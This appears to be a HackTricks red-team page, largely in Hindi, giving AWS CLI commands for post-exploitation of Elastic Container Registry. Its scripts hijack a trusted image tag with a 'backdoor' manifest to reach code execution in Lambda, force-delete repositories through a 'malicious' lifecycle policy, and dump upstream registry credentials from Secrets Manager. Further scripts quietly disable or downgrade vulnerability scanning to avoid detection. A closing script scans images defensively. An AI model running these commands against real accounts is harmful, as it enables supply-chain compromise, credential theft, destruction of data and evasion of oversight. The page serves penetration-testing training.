AWS - ECR Post Exploitation

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECR

अधिक जानकारी के लिए देखें

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

After downloading the images you should check them for sensitive info:

Docker Forensics - HackTricks

ecr:PutImage के माध्यम से Trusted Tag को Overwrite करना (Tag Hijacking / Supply Chain)

यदि consumers tag के द्वारा deploy करते हैं (उदाहरण के लिए stable, prod, latest) और tags परिवर्तनीय हैं, तो ecr:PutImage का उपयोग करके attacker-controlled content की ओर एक trusted tag को repoint किया जा सकता है, उस tag के तहत एक image manifest अपलोड करके।

एक सामान्य तरीका यह है कि मौजूदा attacker-controlled tag (या digest) के manifest की नकल करें और trusted tag को उसके साथ overwrite कर दें।

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

प्रभाव: कोई भी workload जो .../$REPO:$DST_TAG खींचेगा वह IaC, Kubernetes manifests, या task definitions में किसी भी बदलाव के बिना हमलावर-चयनित सामग्री प्राप्त करेगा।

डाउनस्ट्रीम उपभोक्ता उदाहरण: Lambda Container Images Auto-Refreshing on Tag Updates

यदि कोई Lambda function container image (PackageType=Image) के रूप में deploy किया गया है और digest की जगह ECR tag (उदा., :stable, :prod) उपयोग करता है, तो उस tag को overwrite करने पर एक बार function refresh होने पर यह supply-chain tampering को code execution inside the Lambda execution role में बदल सकता है।

इस स्थिति का पता लगाने का तरीका:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

How refresh often happens:

  • CI/CD या GitOps नियमित रूप से lambda:UpdateFunctionCode कॉल करते हैं (यहाँ तक कि उसी ImageUri के साथ) ताकि Lambda टैग को फिर से resolve करे।
  • इवेंट-ड्रिवन ऑटोमेशन ECR image events (push/tag updates) को सुनता है और एक refresher Lambda/automation ट्रिगर करता है।

यदि आप विश्वसनीय टैग को ओवरराइट कर सकते हैं और कोई रिफ्रेश मेकैनिज़्म मौजूद है, तो अगली बार function के invocation पर attacker-controlled code चलेगा, जो environment variables पढ़ सकता है, network resources तक पहुँच सकता है, और Lambda role का उपयोग करके AWS APIs को कॉल कर सकता है (उदाहरण के लिए, secretsmanager:GetSecretValue)।

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

इनमें से किसी भी permissions वाले attacker द्वारा repository में सभी images को हटाने के लिए एक lifecycle policy बना या संशोधित किया जा सकता है और फिर पूरे ECR repository को delete किया जा सकता है। इससे repository में संग्रहीत सभी container images का नुकसान होगा।

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

यदि ECR Pull‑Through Cache authenticated upstream registries (Docker Hub, GHCR, ACR, आदि) के लिए कॉन्फ़िगर किया गया है, तो upstream credentials AWS Secrets Manager में एक predictable name prefix के साथ संग्रहित होते हैं: ecr-pullthroughcache/. ऑपरेटर्स कभी-कभी ECR admins को व्यापक Secrets Manager read access दे देते हैं, जिससे credential exfiltration और AWS के बाहर reuse संभव हो जाता है।

आवश्यकताएँ

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

PTC के संभावित secrets को सूचीबद्ध करें

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

खोजे गए secrets को dump करें और सामान्य fields को parse करें

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

वैकल्पिक: leaked creds को upstream के खिलाफ सत्यापित करें (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

प्रभाव

  • इन Secrets Manager एंट्रियों को पढ़ने से reusable upstream registry credentials (username/password or token) मिलते हैं, जिन्हें AWS के बाहर private images को pull करने या upstream permissions के आधार पर अतिरिक्त repositories तक पहुँचने के लिए abused किया जा सकता है।

Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

An attacker with registry-level ECR permissions can silently reduce or disable automatic vulnerability scanning for ALL repositories by setting the registry scanning configuration to BASIC without any scan-on-push rules. यह नए image pushes को स्वचालित रूप से स्कैन होने से रोकता है, और vulnerable या malicious images को छिपा देता है।

Requirements

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (optional, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)

Registry-wide downgrade to manual (no auto scans)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

repo और image के साथ टेस्ट करें

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

वैकल्पिक: repo स्कोप पर और अधिक अधिकार घटाएँ

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

प्रभाव

  • रजिस्ट्री में नई इमेज पुश स्वचालित रूप से स्कैन नहीं होतीं, जिससे vulnerable या malicious कंटेंट की दृश्यता कम होती है और पहचान तब तक विलंबित रहती है जब तक मैन्युअल स्कैन शुरू न किया जाए।

पूरे registry पर स्कैनिंग इंजन डाउनग्रेड via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

डिफ़ॉल्ट AWS_NATIVE से legacy CLAIR इंजन में BASIC scan engine स्विच करके पूरे registry में vulnerability detection की गुणवत्ता कम करें। यह स्कैनिंग को डिसेबल नहीं करता, पर findings/coverage में महत्वपूर्ण परिवर्तन कर सकता है। स्कैन को केवल मैनुअल करने के लिए बिना नियमों वाले BASIC registry scanning configuration के साथ संयोजित करें।

आवश्यकताएँ

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Optional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

प्रभाव

  • Registry सेटिंग BASIC_SCAN_TYPE_VERSION को CLAIR पर सेट किया जाता है, ताकि बाद के BASIC scans डाउनग्रेडेड इंजन के साथ चलें। CloudTrail PutAccountSetting API कॉल को रिकॉर्ड करता है।

कदम

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

ECR इमेज़ों की कमजोरियों को स्कैन करें

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें